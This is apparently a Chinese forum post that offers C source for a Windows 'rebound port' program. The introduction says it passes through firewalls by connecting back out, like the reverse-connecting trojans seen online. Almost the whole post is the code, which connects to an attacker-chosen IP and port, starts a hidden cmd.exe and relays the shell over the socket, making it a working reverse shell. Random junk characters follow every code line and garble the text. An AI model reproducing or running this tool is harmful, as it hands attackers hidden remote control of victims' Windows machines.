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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R~a9}&  
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/* ============================== au50%sA~  
Rebound port in Windows NT U'" #jT  
By wind,2006/7 [#@lsI  
===============================*/ qtAt=` s  
#include `W)?d I?#M  
#include ^rq\kf*]  
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#pragma comment(lib,"wsock32.lib") ?C fQwY#N  
}W 5ks-L6  
void OutputShell(); 71[?AmxV  
SOCKET sClient; ~3gazTe9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sHBTB6)lx  
ghB&wOm/  
void main(int argc,char **argv) 6ZHeAb]"  
{ c$ib-  
WSADATA stWsaData; V^Z5i]zT  
int nRet; GP4!t~"1  
SOCKADDR_IN stSaiClient,stSaiServer; r?[[.zm"7  
4bL *7bA  
if(argc != 3) *\'t$se+  
{ T$u'+* Xx  
printf("Useage:\n\rRebound DestIP DestPort\n"); YL|)`m0-^5  
return; +=9iq3<yfS  
} <\$"U5"`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ].J;8}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZlC+DXg#S  
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stSaiClient.sin_family = AF_INET; b3>zdS]Q  
stSaiClient.sin_port = htons(0); ]\|2=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iupkb  
\`~YW<D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]3,9 ."^  
{ sk9Ejaf6>  
printf("Bind Socket Failed!\n"); (OES~G  
return; z0+JMZ/  
} g9 ^\Q Yh!  
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stSaiServer.sin_family = AF_INET; Q.Nw#r+m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '/UT0{2;rS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UVl B=  
,h1\PT9ULY  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s|XWw<Sa  
{ (Ox&B+\v+v  
printf("Connect Error!"); V]J"v#!{  
return; D<FQVdP  
} o>(<:^x9  
OutputShell(); .^=I&X/P  
} u(1m#xr8$  
=TEe:%mN  
void OutputShell() K!ogpd&X&  
{ $#n9C79Z@  
char szBuff[1024]; RjviHd#DXn  
SECURITY_ATTRIBUTES stSecurityAttributes; oh$"?N7n1  
OSVERSIONINFO stOsversionInfo; x^)?V7[t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xa'U_]m  
STARTUPINFO stStartupInfo; J/Y9X ,  
char *szShell; 55.2UN  
PROCESS_INFORMATION stProcessInformation; &uE )Vr4R  
unsigned long lBytesRead; N`IXSE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ws`r\k]3J  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \,/ozfJ7dT  
stSecurityAttributes.lpSecurityDescriptor = 0; '+$r7?dKP  
stSecurityAttributes.bInheritHandle = TRUE; p2l@6\m\  
Ih5Y7<8b~  
%Bm{ctf#)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k]:`<`/I_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ".|8(Y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lU Zj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T7mT:z>:  
stStartupInfo.wShowWindow = SW_HIDE; m[y~-n  
stStartupInfo.hStdInput = hReadPipe; .{ILeG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p#4*:rpq4  
|=:@<0.'  
GetVersionEx(&stOsversionInfo); -a_qZ7  
}*9F`=%F  
switch(stOsversionInfo.dwPlatformId) ]7k:3"wH  
{ ~u1~%  
case 1: t1iz5%`p}  
szShell = "command.com"; N)H+N g[  
break; uZ_?x~V/  
default: H74'I}  
szShell = "cmd.exe"; <?KgzIq2  
break; ~DxuLk6 s  
} sx+k V A  
V}<<?_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :,p3&2 I  
3v3cK1K@oE  
send(sClient,szMsg,77,0); 11QZ- ^  
while(1) j^b &Q  
{ L T`T~|pz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9HN&M*}  
if(lBytesRead) a>4q"IT6  
{ Em Ut/]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ] g9SUFM  
send(sClient,szBuff,lBytesRead,0); q'H6oD`  
} |j'@no_rv  
else Kk=>"?&  
{ V]Ccj\Oi  
lBytesRead=recv(sClient,szBuff,1024,0); w-)JCdS6Tb  
if(lBytesRead<=0) break; wsrdBxd5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8Wtr,%82  
} fl4@5AVY  
} R=Lkf  
|QbCFihn  
return; l8+1{6xP  
}
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